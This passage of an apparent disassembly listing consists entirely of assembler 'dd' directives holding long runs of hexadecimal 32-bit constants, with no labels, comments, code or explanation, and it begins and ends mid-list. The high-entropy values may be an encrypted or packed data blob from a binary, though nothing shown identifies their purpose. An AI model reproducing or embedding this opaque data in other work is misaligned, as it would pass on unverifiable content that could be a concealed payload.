24B246B7h, 6084BC79h, 67DD35DAh, 37615A4Bh dd 818C72A3h, 0DD152B08h, 0F682B6A4h, 175215Fh, 7EFC55EEh dd 0AEA9ADBh, 41293BFAh, 58DA009Ah, 0A7E93A82h, 0B94881E3h dd 14D77E24h, 0D940A03Eh, 49924197h, 484AB26Bh, 4BC309A1h dd 4A387829h, 0B3D5D859h, 0C5C51460h, 5840AABAh, 0DA05342Bh dd 8242E527h, 0D6B08C94h, 83A61463h, 0F057EA89h, 7697B6EFh dd 610340B3h, 9AE225BDh, 600E1A01h, 4214E70Dh, 626EE9E8h dd 0E1284695h, 2EAFBE61h, 0CB9E06E9h, 0D1D20911h, 3228720h dd 578E6851h, 0ADD908A8h, 0C3D37E5Ch, 182D98C8h, 45679E4Ch dd 2D0CFC63h, 2D3BF75Bh, 33C886F9h, 0F0B605B1h, 4359EE80h dd 0A220F616h, 825A5A01h, 0D2550A1Ah, 96369553h, 0D927FF93h dd 0DEED0969h, 0C16040D6h, 95505C28h, 0E90413C5h, 80005946h dd 68661EC3h, 5B1B393Ah, 1C8615E8h, 94A2283h, 9E6BDCECh dd 0F4555F62h, 0F8174286h, 8A0A8309h, 686C9877h, 0F7344CBCh dd 0CF2157CFh, 0C45FC26Eh, 1598EFD1h, 0E62A100Ch, 5AE91014h dd 0EA7FE423h, 2C1C5C37h, 5A7EE6B3h, 416A216h, 5BD56848h dd 8E246FE3h, 0BDE5AFC8h, 702FF923h, 3C9BBD62h, 48EB0C1h dd 591EA87h, 88304DEFh, 0DE13125Bh, 9F85A0A6h, 258CA35Eh dd 0D868134Dh, 0F9C46162h, 315DE472h, 0D4DE97A3h, 5662B49h dd 168E2D1h, 1CD361B8h, 464E50Dh, 93FC8A52h, 60C867E4h dd 0DAC21D3Dh, 184B4414h, 0E9405DFCh, 31060464h, 0C2CA89F7h dd 0BBEC6875h, 1E17B4EEh, 5F0407FDh, 2C079526h, 2BDD7B19h dd 7267D511h, 887762Dh, 0F42F1169h, 0A462869h, 1BAB7CF8h dd 16A1C9Ah, 0F03122E2h, 0A6877F5Eh, 0F56BF337h, 0EDA8B2C4h dd 0A0B5E298h, 105BEF0Ch, 0F5224C4Ch, 320C1B04h, 26BDAE1Ch dd 0F450BC93h, 0E2EF46D5h, 57E9C216h, 0A924DF12h, 5ADDECEFh dd 0FA4FE1A7h, 0C4E60B71h, 6EB25200h, 505BCDF0h, 0D1C5E48h dd 3EC1D482h, 0AA10E5A2h, 0F5800E53h, 87ED6906h, 6FD2E8DAh dd 5A2F68BFh, 0DD71B509h, 47BC1E0Dh, 585E047Fh, 17FEF2A5h dd 90BED7F7h, 366CBF69h, 4F0ECC1Eh, 7DE0CBD6h, 79822768h dd 8249E753h, 0D5471562h, 3DCC3E98h, 0A78E4DBFh, 92209148h dd 9C4A4491h, 4E5D0909h, 5FA5985Fh, 0F267FE95h, 4CFC71B4h dd 5BFA8805h, 6CC4FF59h, 0C2800320h, 0E23A9882h, 0C805833Bh dd 0C04DCB7h, 0ADAECC84h, 0B9532C55h, 1C844B17h, 285AA7A9h dd 0E825C1ECh, 4CD408h, 5217185h, 0BC584B9h, 6CBCFAE9h dd 84555913h, 0ED8FC09Eh, 0FD255484h, 2D2E5490h, 5669EE5Eh dd 6D110896h, 70F85717h, 86302602h, 0F87D5829h, 325E3CE5h dd 7EA7E9B8h, 0E6CE90D5h, 0A049D691h, 7B177264h, 91B075A0h dd 15251761h, 0E187007Ah, 92BF36Eh, 0D25FF92Ch, 64E48D09h dd 2907C57Eh, 939BA977h, 641E1904h, 0D1316603h, 1ECA063Bh dd 2764F987h, 9FF30620h, 0AAA45218h, 88405EAFh, 2B0C048Fh dd 5EB17275h, 0DB07BECBh, 0C43F2C8Eh, 0D9FE849Dh, 0C8162B71h dd 599B9BABh, 6038C454h, 0DED373EEh, 836A39E2h, 8444C755h dd 0EEB752E9h, 45FE0D56h, 0BF565F7Ch, 1671A3A0h, 0EF133203h dd 5A07E910h, 0CD30F8E1h, 45595CCAh, 35FEC62Dh, 5D912964h dd 2097CF88h, 0BD40BFB5h, 5E05F6F7h, 0C4E9863h, 438C10B6h dd 42091818h, 0DD310702h, 6ADA2991h, 0CE290806h, 77D72D48h dd 0E9A02D53h, 61C06B98h, 298960EEh, 0C7014AFAh, 534A5C54h dd 0BA0042BAh, 610C21E8h, 26DF281h, 0C14FF56Fh, 68CC05E2h dd 3F9BD01h, 0DDF74B62h, 0BD02A20h, 2123140Fh, 47684203h dd 65DF0B97h, 235B0504h, 0EA9982C2h, 0B95889D6h, 0C6681475h dd 2F008217h, 0E973A627h, 6A949703h, 2DFA8E63h, 0C86ABDEEh dd 0EE2202FCh, 0B784285Ah, 2EA9CEFBh, 0E941F668h, 0D7C20DE4h dd 0F70C13E5h, 0B611C8D5h, 32D46084h, 3109723Ch, 40E3E9C5h dd 4FBA687Ch, 0F1BDAD6Ch, 336801E9h, 986A987Ch, 63DC9059h dd 0E92F0690h, 96550CCAh, 5D85FA1Eh, 9883B07Ch, 0D2B72208h dd 0CE68F25Fh, 152D0CB8h, 0FECD0058h, 0EC16CA77h, 5B6307CEh dd 64E96F91h, 2BAE9E4h, 0D32F87DEh, 0E8B54021h, 0F4808039h dd 0E330B10Bh, 0AF167F58h, 0DDB5A42Fh, 3D00542Ah, 0CDA36616h dd 5496E4C0h, 31FD4781h, 2C0DA24h, 0F90C05E0h, 61C1C8FEh dd 42216B8Ch, 0B96D3F7h, 0A1DC2158h, 0E77D9D56h, 29A018D6h dd 5EF470B4h, 0C278C7E3h, 475F41D6h, 73BA00CFh, 311DE562h dd 542DC692h, 6EFEA28Fh, 7281765Eh, 56029450h, 5802744Eh dd 2B06892Dh, 306F02FFh, 0B819D72Bh, 7BC53BA8h, 0AA2A0E99h dd 255983Ch, 0D76785BDh, 0DAC14507h, 9CF63F84h, 81009E48h dd 0ED7D43F1h, 0CF5B3167h, 0A946C398h, 0C730ACACh, 4014BFF9h dd 6AB55C90h, 158380AFh, 0B018E206h, 0E956090Ch, 40DA129Ch dd 8F2384Ah, 0EB2F34A3h, 791D2573h, 7699E910h, 820B8F01h dd 0F486E97Eh, 13849AACh, 5D9282ACh, 5D7ABD74h, 0EDB0471Eh dd 0E919C6F6h, 5D50A0A5h, 9F2AC7D8h, 0DF89BFF9h, 83B0F77Ah dd 0F89E44A4h, 0C4B37469h, 53FDBA51h, 0BE685B05h, 7A8FAB5Ah dd 0A8775500h, 63EA8178h, 1C342313h, 6B38D03h, 4180F5FAh dd 60CAEFF9h, 1D2924E6h, 0CC13513h, 0DD46280Fh, 0F15EC968h dd 48E27FDAh, 26B446F4h, 3C40EB95h, 973170D3h, 77723AFCh dd 8B8C5AB8h, 0E9CF1FCEh, 0F589DF6Ch, 0E978287Eh, 0A0DCBADEh dd 822C4026h, 0F35AC075h, 0EAD3EA72h, 67E66EBh, 0CC5A1678h dd 27E9B0E0h, 2265C472h, 5EC39309h, 40C64D6h, 0F6078A2Eh dd 66018154h, 0BAA0AC59h, 7729589Ah, 95F57AC2h, 48FE0E8Ah dd 33CFAA17h, 6818B05Eh, 0F3335329h, 0E905D6ACh, 75CDEBF0h dd 608BC87Eh, 0D78DB769h, 0E6C173B1h, 20209CFDh, 2EA0AD42h dd 31D38618h, 8CD905AAh, 0FF8334A8h, 74404A41h, 422A23FAh dd 5C7F68F7h, 118B35CCh, 6A08322Dh, 0FFD86A9Dh, 9E063CFAh dd 5D794973h, 897D957Eh, 5E7177DDh, 52E01DCAh, 2D0296BAh dd 8E5A6480h, 8FCC509h, 230FF7C0h, 3408ED0Ah, 3517170Ch dd 4F28AF06h, 0B7191CB9h, 0AC31D328h, 0F505E231h, 0D0298F20h dd 29482E9h, 8071402Dh, 53010BF2h, 0E604FEB3h, 0DDB917A3h dd 94A54E5Fh, 0E93DFB00h, 0D4B98B98h, 1E0B0E26h, 8B7BFE5Eh dd 65733076h, 0CD2797BDh, 5B979E57h, 0ECF9BFA2h, 1D0B25D4h dd 65C74FAh, 957020DCh, 6F8EC0E1h, 0F9F8E153h, 43C80417h dd 0C3FEF3EBh, 0B951B6CBh, 0A2BC2AF2h, 177D892Ch, 0D9D55094h dd 0F427F013h, 294F66BBh, 59CD08A1h, 0B2CC773Fh, 7C5DEAB9h dd 335C7AE8h, 0E44F75Ah, 8B92BFB9h, 4B72A6EBh, 0D5F2FECh dd 89E2467Ch, 77E6C104h, 5F4DD600h, 5212F39Bh, 52A0F289h dd 7230BD20h, 0BAB97B62h, 5F02EBE2h, 77C72B6Ch, 0D8053BB3h dd 0D6F81982h, 0A901E711h, 12C016D7h, 0A49ED2E9h, 0B0047C71h dd 0F93162A3h, 87B280BFh, 1A4B7E33h, 0B92DBA81h, 0D72ED542h dd 709BAC2h, 677C180h, 2C906B2Fh, 87C5E8C3h, 0E1EBDABCh dd 21038388h, 0B1771CC2h, 0F5EEF92Bh, 6B5C6411h, 0EA2789FCh dd 0B5685602h, 2AE9E0ADh, 601B097Ch, 0DFC91749h, 7CBF6942h dd 97BF50DBh, 85C8DF2h, 957F2064h, 6CDD58E1h, 4F5F1FC5h dd 2F49CD92h, 0F87002BBh, 1DDEF67Dh, 2E3094Bh, 586C0D5h dd 0ED1FF43Dh, 27D58AFCh, 1C74C33Bh, 9F56F92Fh, 0BE2DAEE9h dd 81D64E76h, 3CC58646h dd 0EDC0093Dh, 0B3C58E02h, 25685BCCh, 6F464D51h, 0C76B722Dh dd 3AFFA5B7h, 3996555Ah, 76B3295Fh, 0B999364Bh, 51C1012Dh dd 3BE0C698h, 0F8E09990h, 5C9EE590h, 0E2A77509h, 3A767EBFh dd 7C425860h, 0BA1D794Fh, 96498314h, 0AAF42729h, 8911F919h dd 23C7BFFBh, 8B2A253Fh, 974B022Eh, 167D2B0Ah, 95F4AC37h dd 4CDDEC62h, 85E43465h, 2CBAC3Fh, 6E659CE1h, 5501FF26h dd 3A42D187h, 0A03F828Dh, 0B9379436h, 85479E10h, 172DFA1h dd 96103C38h, 0FE2D2733h, 28E6A7B2h, 0CF1A4859h, 6927C47Fh dd 9C3B9AFh, 0FAE814E9h, 484B09A6h, 28DD1F12h, 5802085Bh dd 0FA44EEE9h, 0C6750B9Fh, 0DE590665h, 0AB685C8Fh, 766FB216h dd 0EB70B50Fh, 0E913E08Ah, 0BF09B0A1h, 9E192DFEh, 55D8313Eh dd 1B7A640h, 0F75F1733h, 8B25B8D7h, 5F56087h, 960817D2h dd 0B7D0EE1Dh, 2D3369B8h, 59C016DDh, 520CEF81h, 0C7D8C3Ah dd 40611708h, 4118BD1Eh, 140CA008h, 24AA65B7h, 53FA0E98h dd 52255B89h, 0CCBD0B5Ah, 0F645EC55h, 608A4BD1h, 2A685664h dd 17221F1Ah, 9997FDFEh, 79909ADh, 0EC1946E1h, 9A02587h dd 0E79E7B94h, 3AD06884h, 53B3AD8h, 0C170AA7Fh, 0EF60C0E7h dd 0A730F3ACh, 29C2BE0Ah, 0C6C60B5h, 1FB06760h, 0A206A95h dd 42073E08h, 199C571h, 0CD34ED90h, 76C94085h, 181C52Dh dd 713ADE69h, 0C9C03F64h, 0BF4F8E48h, 0F7734B70h, 0B793AC3h dd 0C5BFAC97h, 0DE888C93h, 0C1CA3648h, 7348A22Dh, 41750D70h dd 2C3330E7h, 0A65B3F39h, 41D0101h, 9903E907h, 0F65D090Eh dd 61565118h, 0AF126BCFh, 9323A0BAh, 0EC5BD0BDh, 51C75CC3h dd 825C3F34h, 0CBE8CA0Dh, 0FA002D48h, 3553374Dh, 0B818BC01h dd 74EB00A5h, 0E948FD52h, 48999110h, 0F7119902h, 7E5834Fh dd 413B8274h, 1224D670h, 9F509F1h, 0DD10330Eh, 0DC822571h dd 75D4AF57h, 818EB19Bh, 0BE8B535Eh, 0C9109C6Ah, 725E8768h dd 0C325478Eh, 76C918DCh, 3D20BC02h, 7C08E912h, 940C37BEh dd 0CB30790h, 1D81DEE4h, 24162C07h, 98C6F0BAh, 488BA1Fh dd 831AC9B8h, 0C2F7C07Eh, 6448B322h, 0A0EA2088h, 4B595015h dd 61E1A083h, 0F026AD1Dh, 7C8A7949h, 275EB21h, 86B0C70h dd 7635098Ch, 0F185B056h, 4D81CE51h, 583922B5h, 0EC1EF605h dd 7E6D9232h, 0D72CBE56h, 276AE808h, 0CB205778h, 4AD3A6h dd 81052835h, 2A13B6F2h, 32007E06h, 1ACF63FAh, 2E492FE9h dd 648551D1h, 0E305504Ah, 5BA368D2h, 0BEFCF712h, 0BEE4C4B2h dd 0E89B7A61h, 88F0A007h, 281258C5h, 4B0B5AD5h, 8C30570h dd 4623C982h, 0AB9A5F51h, 0C7344529h, 0FB54973Dh, 16F6D4CCh dd 0EA3AA032h, 0B8503700h, 137C1EB9h, 1CC72928h, 1314C28Bh dd 2C6E4E86h, 29CBD7Bh, 0BE568550h, 8CD88489h, 8243ADFFh dd 6C5A3368h, 3E8E00FCh, 96BA38DCh, 0C74823C1h, 33BF03CAh dd 9D017AF2h, 80F2384h, 0FFFA205Eh, 5BE7E932h, 4622418Fh dd 2E10E858h, 0E649180Fh, 32955F5Eh, 0D08869F3h, 4858B43h dd 9B3C256h, 0C63D7E50h, 0F5B819A0h, 0F3BE5603h, 0F22A2379h dd 8062FC21h, 0BA53D2C3h, 0EDD5F3Ah, 61821B80h, 25E9D831h dd 0AFFF7193h, 0B383054Dh, 0B9D6C6F4h, 0E9536076h, 4292208Eh dd 9D515477h, 3DEC7FD8h, 802FE9E0h, 2CA53B7h, 5D017D4Eh dd 9B5C6BDDh, 38D0E9ACh, 36ED060h, 219409C5h, 0EFBBE9EEh dd 0CCBE9001h, 4E3E9D75h, 11CD887Bh, 2F1F321Dh, 0EA05CE92h dd 21EB6720h, 0E6B5D253h, 841DD65Dh, 0F99DE2E9h, 49A90435h dd 0C1BF2C62h, 650AE9h, 7463BE66h, 0F1893E67h, 205F5A25h dd 8DA10184h, 5B5FF6AAh, 0E724E4A9h, 6792D695h, 8FE4B96Eh dd 0D5E98C9Bh, 0D220F545h, 776D0F09h, 37287F65h, 16B12408h dd 0CB3ABC0Bh, 0F1C2F728h, 9CF80F4h, 0AD15F1A4h, 0C86D9ADDh dd 0BEE7CCDEh, 68B362CFh, 0E077FEA9h, 3F3C2AB5h, 8D195C98h dd 2E313E6Fh, 6851F280h, 886516AFh, 1172F028h, 0EB05B702h dd 68A870E9h, 0B72FB19Bh, 23A921C0h, 35BB40C0h, 941AF72Eh dd 0B9A285Ch, 7C7E78FBh, 89F285Dh, 623FE90Bh, 9EA7E85h dd 925DCB3Bh, 0C540F596h, 8F8213C7h, 1FBD032Eh, 0EF01E155h dd 0BC565FFEh, 0B97BCF71h, 0BFC2D301h, 0DD05033Ch, 1100D80h dd 0C0ACC850h, 58523312h, 8EEE3E30h, 5AD83059h, 0AC438D0Ch dd 0A29572Ch, 2811AB08h, 0BBF707B8h, 0F6134271h, 0CB06AFFh dd 518E062Dh, 0D2FB47DFh, 0C2ACAC1Eh, 5BBD9CF2h, 7FC10F42h dd 0E2503167h, 0A7774674h, 0F3A6DE1Ch, 90AEB008h, 45530B34h dd 0C2E21BD8h, 0DA578FC2h, 91F74D80h, 97746BC5h, 5A3D624Fh dd 71B91855h, 0F7947301h, 487B8441h, 0DF49C22Fh, 68010976h dd 28201B86h, 0BB5A6A28h, 0B8C72200h, 486007FBh, 0EE4F43E9h dd 0E785B056h, 4EB6A5B4h, 0FBB07577h, 38C86E5Fh, 1E30132Bh dd 97E26756h, 0DA24E857h, 15569D92h, 0A1797959h, 3C9DCE03h dd 7FDA1D65h, 0BD0A387Eh, 0AA171502h, 975809A9h, 4BB7530Eh dd 7FA00C7Fh, 0EAB7B822h, 0E247C3B7h, 795C9Eh, 7A5479BFh dd 7009BE7Eh, 0D804EB1Ah, 0EE2927DDh, 0FC5A757Eh, 291F3FAFh dd 0E9710538h, 5A59F089h, 63B5F195h, 1E2498CBh, 58097F5Dh dd 4105775Eh, 13972Bh, 2FC580F5h, 0ABDD6650h, 3624124Ah dd 2768FBA0h, 0C463814h, 9FAE7022h, 6ED751E2h, 468F2778h dd 0C16A9E98h, 90994082h, 5DFE1647h, 0E3B95409h, 2C083709h dd 0ACBE537Bh, 90132EDBh, 7D01CABFh, 794CA636h, 0E8B12F69h dd 0D139C7DCh, 4EE2BCAh, 0BA792C71h, 4A4EAB87h, 4E17D053h dd 0C9601CAEh, 4F760DC7h, 55904109h, 14FEE01Eh, 0F7C6429Dh dd 68C1D2F9h, 9B8975FCh, 0BE591017h, 133B64E9h, 5487EFE9h dd 7C42616h, 5820ED97h, 2B987377h, 6B85A85Eh, 9629E2AEh dd 191461FBh, 0A23668AFh, 95CFE1CDh, 0D67FB36Eh, 2046CDABh dd 371E6A29h, 684616D3h, 2E9F7B5Bh, 6FE3246Bh, 6ECE4E06h dd 0B4A89180h, 123BBF80h, 17B602h, 0A77C83F7h, 0F0BF3152h dd 0DCC32DA2h, 30AF9C5Dh, 684F6595h, 75C50B05h, 4FFBC701h dd 0DE0B0820h, 6EBD85A1h, 3163EC1Ah, 80073FF7h, 758746D5h dd 0FDBEA182h, 0DC023651h, 0FE3A6C77h, 140CE8D1h, 8E26C858h dd 11B78948h, 85FD791Ah, 8DAB2A52h, 7E25E0E5h, 72D10C0h dd 97402679h, 0CE07657Ah, 1B9832D8h, 0C27216Fh, 812F6403h dd 6852563Dh, 1B9E0F0Fh, 0C4F233FBh, 2C0FEECAh, 20392021h dd 5B3330D8h, 0B008C15Ah, 2527F709h, 4BD94C01h, 590C0CA0h dd 0D9D043E9h, 41541E92h, 0B6CE8B42h, 27981DC4h, 0F3458C5Eh dd 0E495C6Ch, 2E0B5758h, 0E94D10D7h, 9531B252h, 3BC78F9h dd 13D9623h, 5A822D54h, 0C609F571h, 93DAF121h, 1A81BB4Ah dd 8761C0EBh, 9DDC430h, 0D24DE97Eh, 0AB3169A4h, 5B3F4F87h dd 0AF36F106h, 2DEEB32Bh, 0A81ADDB0h, 8911745Dh, 9AF722B8h dd 4C29D7CBh, 0A342745Eh, 18185FCFh, 514D5C68h, 0A71A885Ch dd 0E558CB25h, 0FEB07A8Bh, 62BF04C7h, 0F8297F31h, 0E90840BEh dd 2CD33478h, 0E269ABEh, 12A10BE9h, 28D099EEh, 0AE68C28Eh dd 9E4B912Bh, 51E864h, 0E5C0FDB5h, 2EB65206h, 0C5136D98h dd 0D65FE28h, 7D08A10Ch, 11D109F7h, 0B040E4Ah, 0F6C818A7h dd 20633D15h, 2C03459Ah, 9F45A5Fh, 42224AD2h, 0F769AAFEh dd 255056B2h, 3082CF20h, 0BF90AC2Ch, 0D39FEEC0h, 4E72C69h dd 81CC88DDh, 524B104Ch dd 80555F92h, 3743DFA9h, 4A7BFC68h, 0F4A4ECB0h, 56324C1h dd 0EC2F1FF9h, 3EAC0335h, 0E0480C34h, 2F33230h, 47F03569h dd 0C87F7A15h, 2F6E3A9h, 0E93B2F1Bh, 937DB3BBh, 0A64BC1F9h dd 87E65E2Bh, 0A9AB0E4Ch, 6246C975h, 46F724h, 35283415h dd 7A135C7Dh, 65D00B9Fh, 0F7273E6Ah, 32083D8h, 0F0585A95h dd 93411569h, 96614331h, 0D0771D6Fh, 0C1010171h, 1D13BB53h dd 0FDF53A21h, 0B982003Bh, 444C3CC3h, 2F4FC9F4h, 85975B31h dd 7981BA05h, 0A048E2C8h, 0D66F1960h, 5E34849h, 9828FE81h dd 2AE63001h, 66851349h, 0EFBD04C4h, 0A471277Ah, 0BC1794E6h dd 5004DE38h, 0A19562E9h, 0E62B5F80h, 96618261h, 0AFEDF3D9h dd 0B880A2F2h, 0F74D9FDBh, 8529E92Fh, 75BA5BCAh, 0E9CEAA9h dd 0A6805E8Dh, 4006D398h, 425A517h, 356802C4h, 0C4AFEC27h dd 55B3C6B6h, 12940610h, 93F25B5Dh, 6571BA92h, 9A7423E9h dd 36D92A68h, 0FA3F02Dh, 8B11D877h, 5C8BFA12h, 971F992Eh dd 0A9C180ADh, 40024C3Ah, 3B8CB81h, 420577DFh, 0B947AA06h dd 5474AB36h, 0D69665C2h, 44A29E05h, 0AE091E6Eh, 378E0F80h dd 55E0080h, 698118CCh, 3105A52Dh, 0C52924CAh, 0CDDD61FAh dd 3FA0416h, 1EF11FCh, 2E2EDFD9h, 0EA0493CAh, 0C14E4BFCh dd 3C4866h, 5508B8h, 17253B9Ah, 0D467C18h, 0DF4C530Bh dd 5975416h, 0B83FF1E9h, 6D1783B0h, 0B1181127h, 35CD0482h dd 15FCE112h, 7555EB04h, 0FC308071h, 4C48D12Bh, 0ED3A5438h dd 47824609h, 15ED40Bh, 2EE9555Bh, 86BB74A5h, 0E5F67D4Fh dd 128D5973h, 4EDD828h, 3B183DC6h, 6950FA1Dh, 0D2F24E08h dd 254B1CD3h, 43AA4CF5h, 146F26ECh, 61DE098Ch, 2052120Ch dd 98630133h, 426B8D5Ch, 3B410587h, 7CDF4863h, 0AC570435h dd 0BBD29F1Fh, 83AED123h, 8A83E4E8h, 0E691A10h, 5BF52061h dd 0F219BFE8h, 0FCC33D8Ah, 3E4C270Dh, 0B14070A9h, 18D53B05h dd 4D09F47Dh, 0C8586C07h, 85574601h, 80DEF777h, 39C2ABCh dd 25F509CBh, 7840C15Eh, 8282796Dh, 0DFE80DACh, 3CC4C273h dd 8A7B0B13h, 0FF72435Eh, 5C2E8FF2h, 3B1BD053h, 0BF68B00Eh dd 60883D24h, 1731759Bh, 234898B3h, 4CAE4C08h, 7C19C652h dd 0FDDD5B1Bh, 0EDB8D21Fh, 336A0FB0h, 0E1E96112h, 0C27E54A5h dd 717DE213h, 0B13D0870h, 0AC8B521Fh, 28FE188Eh, 4E3B90F0h dd 0EE31EAA6h, 693E4015h, 0C4F5208Dh, 0DD28EB97h, 13066DA8h dd 1420693Ch, 0F1350600h, 0E9E7F67Ah, 2FD4BAE6h, 0B0FFD829h dd 0A49820D7h, 6BDF1DF9h, 1421D51Fh, 0E25B3B49h, 0C9F34E67h dd 7DF10276h, 897C6791h, 52435E57h, 82D7AEE2h, 9E54DDh dd 0F77631BEh, 47AE705Eh, 6081023Ah, 2FDE1253h, 0FB0CF6ECh dd 0C26550Fh, 0CB4412A0h, 46B20147h, 20566E43h, 93C02D20h dd 0BA4F89C3h, 0F3010B74h, 4CA9D068h, 0BC62584h, 308E0458h dd 68264413h, 0DE81EC80h, 3E7F9448h, 613FF896h, 6A55E7B7h dd 0B75BD3F7h, 8A109267h, 9A9C9DACh, 5E83E8C9h, 0E2482F6Eh dd 16177646h, 0CC65583Bh, 8858F0FEh, 85CF1A5Dh, 0B2FA5F33h dd 558C4F0h, 48826820h, 7162F9B4h, 25E7CC47h, 95540BE3h dd 83CA596Bh, 6C915CC4h, 6AE91D0Bh, 5E20E430h, 5E5C88FEh dd 4251758Ah, 0E3155D25h, 1376C5AFh, 0BF68EE53h, 0A27AF78Fh dd 9EEED693h, 1630481Bh, 40201640h, 4AA84EC1h, 4BE3AC7Dh dd 0E2A797BAh, 955ECE9h, 256D7D5Ch, 2BA28A09h, 0A4D7E1Eh dd 9EB3651Bh, 0F07027C2h, 0C21FF4A1h, 0EB3F7E55h, 0CA26C3DBh dd 0AD8D7925h, 9D883CDFh, 0C0AA0E08h, 45A865C1h, 81F15ABDh dd 0F97E5908h, 0AB32974Fh, 7AB4F556h, 71DFB48Ah, 0C203E91Fh dd 2C2D35B7h, 21D7E5Eh, 3FBF2517h, 0F527F2E4h, 0C5ABFD8Ch dd 9DE1C8CBh, 0E3063488h, 22000648h, 0B7EFFC01h, 7300F1ECh dd 2D3C7E56h, 5B3109A0h, 855B0459h, 0EDA790D1h, 9A7E708Ah dd 52D50117h, 681A9780h, 1C0D0759h, 5751A173h, 5F86E221h dd 80BBFC57h, 25AE60FDh, 8A01E281h, 0E91A0A38h, 0D82AFBA2h dd 0EA4FB611h, 114CFB8Eh, 0C3896330h, 84E2205h, 0BC6B20F0h dd 0B0F6252Bh, 0BF03FCD0h, 13A45920h, 0DECA3825h, 8987DBCFh dd 0F2B1C7Ch, 680BD026h, 0B3E94699h, 0CB7981B5h, 3555065Eh dd 0A836A4ECh, 280DDA5h, 5B660AC5h, 6AF4692Ch, 37CA7E0Ch dd 78F02EAh, 0D3297902h, 72570B61h, 0B6350AD9h, 210CF19Ch dd 0EC21743h, 0F30F1207h, 1932C5C3h, 0D85F6282h, 5A08816Ch dd 9B4FA3Ch, 0E0749AAAh, 0BC955049h, 8DBABF0Ah, 45EE6760h dd 444A362Ah, 85610FFh, 17928940h, 0E950126Bh, 1B050FC0h dd 3B02F664h, 0C0267C22h, 80AE6ABDh, 0F6CEF22Ch, 0B7538004h dd 78C780C9h, 3A889850h, 304C2CF8h, 5FF459B2h, 0F7FB4F12h dd 0BDC05A1Bh, 27D50EBEh, 18F75B51h, 83F2345Fh, 57287790h dd 160A3190h, 0AB0DDE31h, 0A97F2706h, 44CA0244h, 0E94CCF1Bh dd 340ACEC3h, 0EE64D468h, 0F70B4B98h, 2B2EC1DAh, 0B4788C36h dd 0DF131510h, 68C17201h, 99232EEFh, 8257551Eh, 2BFF4F94h dd 95CF3B60h, 1FCD6918h, 0EC23F50Ch, 9F7F870h, 33561506h dd 0C580CBDEh, 84F39913h, 9EE91355h, 0B47FFC54h, 0CD4AD05h dd 0E43F27AAh, 6705163Ah, 0A3EBE77Eh, 852C5817h, 35EFEFFEh dd 56A7AE4Fh, 8A4804Fh, 0C6BD0B8Fh, 0C9F0C1FFh, 7D42A231h dd 580840BBh, 18BE5602h, 526DFD0Dh, 11196036h, 44E9F201h dd 138ED55Dh, 36EB04E1h, 0D4FE8DDh, 0C380ED02h, 96FD8450h dd 740FA2FBh, 3F89554Dh, 5B789802h, 1E7BBF1Eh, 9F74E372h dd 0EBA970FCh, 0D1306971h, 7C7A0C4Fh, 0CC4C4E68h, 0C21B3108h dd 0F94755E9h, 0A36A0C60h, 0F2E983A6h, 0FE1C274Eh, 0B1180A50h dd 590C2065h, 34D802F6h, 0E9C588C0h, 0D62B7262h, 0D3749462h dd 4C5A07BFh, 62D937D1h, 5A080972h, 64A534A5h, 18AB813Bh dd 64CC2F71h, 0B89A413Fh, 5A608F3Ah, 0A00F69EFh, 68D1F716h dd 307D4E21h, 47797EE5h, 0F7E71350h, 7D3E3D02h, 525AD509h dd 0D8E225FAh, 0B9D2465Fh, 0B01C1764h, 0A7EC5AF3h, 0F6CC4F5Fh dd 0F58F4B49h, 64640CCh, 7C9F7227h, 18E43B79h, 555F3244h dd 216F55D6h, 5A97E95Eh, 0EAC0468Fh, 81170CDEh, 21315910h dd 2EBA6D3h, 959AE041h, 55E9FBC8h, 0C36EA96Dh, 67CA5DF6h dd 475BD150h, 895BBCBCh, 0CE27F839h, 0C13013B5h, 0A5273E70h dd 4C094420h, 23DA72Dh, 0C48912A2h, 5CC0B596h, 22B8ED47h dd 9112EB4Bh, 0E9B0CBA3h, 10B7A0B2h, 4B9868F0h, 96206C1Bh dd 68057194h, 0BB3169F6h, 41FD90B0h, 80F5026Eh, 9A8440EAh dd 55520B99h, 5C8CB2B0h, 625118CDh, 824C2DE0h, 2A57DF40h dd 0D13B5B1Fh, 708E7C30h, 0DF444CA4h, 0B80A060Eh, 35D8B052h dd 938D3C01h, 0F6CAE975h, 0BBE523Ah, 44FFB8F9h, 196D3042h dd 1404D0C3h, 2B201B90h, 0A1AB80A4h, 145EB559h, 0F0E3564Bh dd 149660E9h, 55CE2900h, 271C7DBDh, 13890C0Fh, 69F57680h dd 5F4F3731h, 0BDCB5DE1h, 0D458ADF6h, 0E19A893h, 0D31AA868h dd 0A9312722h, 0E86D6A5h, 0F2136044h, 0E92C4E06h, 0A946010h dd 130349BAh, 1B58235Ch, 13183A48h, 13FDBC2Ch, 5F02BEAEh dd 516C59E9h, 0D1090F46h, 0C054AF72h, 72660BCBh, 64FF098h dd 6EB256A9h, 48942631h, 31E85812h, 0B1EBB95Ah, 2B2C054Fh dd 1280BEC4h, 1604F8F8h, 0C8114112h, 9972533h, 6C795FD6h dd 6057546Ch, 6B199C51h dd 683A53D7h, 0D0B3CA70h, 0EA5ABE04h, 31C0FF55h, 0EE18149h dd 3B963033h, 4536C9C2h, 2880C8C2h, 5F2E0E13h, 895882BDh dd 10E657D1h, 6D5CE917h, 650054D7h, 73535B10h, 9A3B65Fh dd 0CE44AA35h, 6C8B8BBCh, 614BD570h, 0B4647BC2h, 7CCCF04h dd 1B80423Bh, 13AA5EF8h, 9EF0947h, 53210D16h, 7FF18851h dd 336E581Dh, 53DBB70Ch, 0E8FAE4D1h, 0D8D6E2F7h, 34E91008h dd 0EFA5C55Eh, 9D479E20h, 0EBDCE342h, 25D341FAh, 82DE276Fh dd 760B53BBh, 0C4811C54h, 819E3D8Dh, 3564A3C8h, 8BF0A63Fh dd 0A066FC09h, 0BB3A2608h, 81584E25h, 476EC3Eh, 609BC9EFh dd 425E30DCh, 0F64B7FA4h, 0BF184AAFh, 0B1A089D4h, 0C8514C5Ah dd 0C2C08B4Fh, 57472959h, 5317DEC7h, 3CD81101h, 4E722A7Ch dd 264E0E01h, 36442970h, 580C40B5h, 66951E90h, 29D297FCh dd 72F85CBDh, 773F6AC0h, 33907795h, 7EF8F3F2h, 9CF01EDDh dd 4A1E08ACh, 561A131h, 0ED809C07h, 6852A9A8h, 0D53A400Bh dd 0E2370325h, 78ABFA07h, 814601F0h, 0D55D57E6h, 87A42F0Ch dd 2D6BEAF6h, 0AC50BC36h, 56BBFCD3h, 21A9F128h, 37B43BA9h dd 0ACBC24E9h, 5E919270h, 0D0909652h, 0B117C18Bh, 57BDB72Dh dd 0CCB9A190h, 0B1897CB9h, 0AFF485DDh, 2E6A65E2h, 4DE70270h dd 87621826h, 35E01840h, 